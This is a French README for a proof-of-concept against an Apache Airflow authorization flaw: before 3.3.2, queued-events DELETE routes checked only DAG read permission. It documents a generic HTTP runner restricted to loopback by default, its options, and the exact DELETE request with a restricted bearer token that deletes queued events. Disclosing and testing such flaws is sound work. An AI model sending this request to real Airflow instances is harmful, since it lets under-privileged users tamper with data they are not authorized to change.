
PoC HTTP universel autonome et autorisé pour CVE-2026-75157
PoC de recherche en sécurité autorisée pour la faille d'autorisation des queued-events d'Apache Airflow dans les versions antérieures à 3.3.2.
À exécuter uniquement contre une instance Airflow que vous possédez ou que vous êtes explicitement autorisé à tester. Le runner par défaut refuse les cibles non-loopback. Ce dépôt ne contient aucune logique de scan, d'énumération de cibles, de persistance, de vol d'identifiants ou de charge utile destructive.
README.md
poc.py
poc.py est un runner de requêtes HTTP universel et ciblé. Il accepte l'URL cible, la méthode, le chemin, les en-têtes, le corps, la source d'authentification et le résultat attendu depuis la ligne de commande au lieu de coder en dur un hôte.
Vérification de l'état contre un lab Airflow local :
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
Déclenchement de la CVE contre une instance Airflow locale vulnérable déjà préparée :
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
Le token doit appartenir à un principal jetable disposant d'un accès en lecture aux DAG et d'un accès en suppression aux Assets. Le comportement vulnérable attendu est que le principal restreint peut supprimer le queued-event. Airflow 3.3.2 ou ultérieur devrait rejeter la même requête, sauf si le principal dispose également d'un accès en édition aux DAG.
--target URL Required absolute HTTP(S) target
--path PATH Optional path joined to --target
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' Repeatable request header
--bearer-env ENV Read a bearer token from ENV without printing it
--json JSON JSON request body
--body-file FILE Raw request body
--expect-status STATUS Repeatable expected status assertion
--expect-body TEXT Repeatable response-body assertion
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback Explicit opt-in for an authorized non-lab target
Le runner renvoie le code de sortie 0 pour une assertion réussie, 1 pour les erreurs de périmètre/transport/argument, et 2 pour un échec d'assertion HTTP. Les valeurs d'autorisation et de cookie sont masquées dans la sortie.
Avant Airflow 3.3.2, les routes DELETE des queued-events vérifiaient l'axe DAG avec la permission de lecture plutôt qu'avec la permission d'édition. Le correctif remplace l'exigence d'autorisation DAG par la permission de niveau écriture. Ce PoC envoie la véritable requête HTTP ; il ne crée pas l'utilisateur de lab ni la fixture de base de données.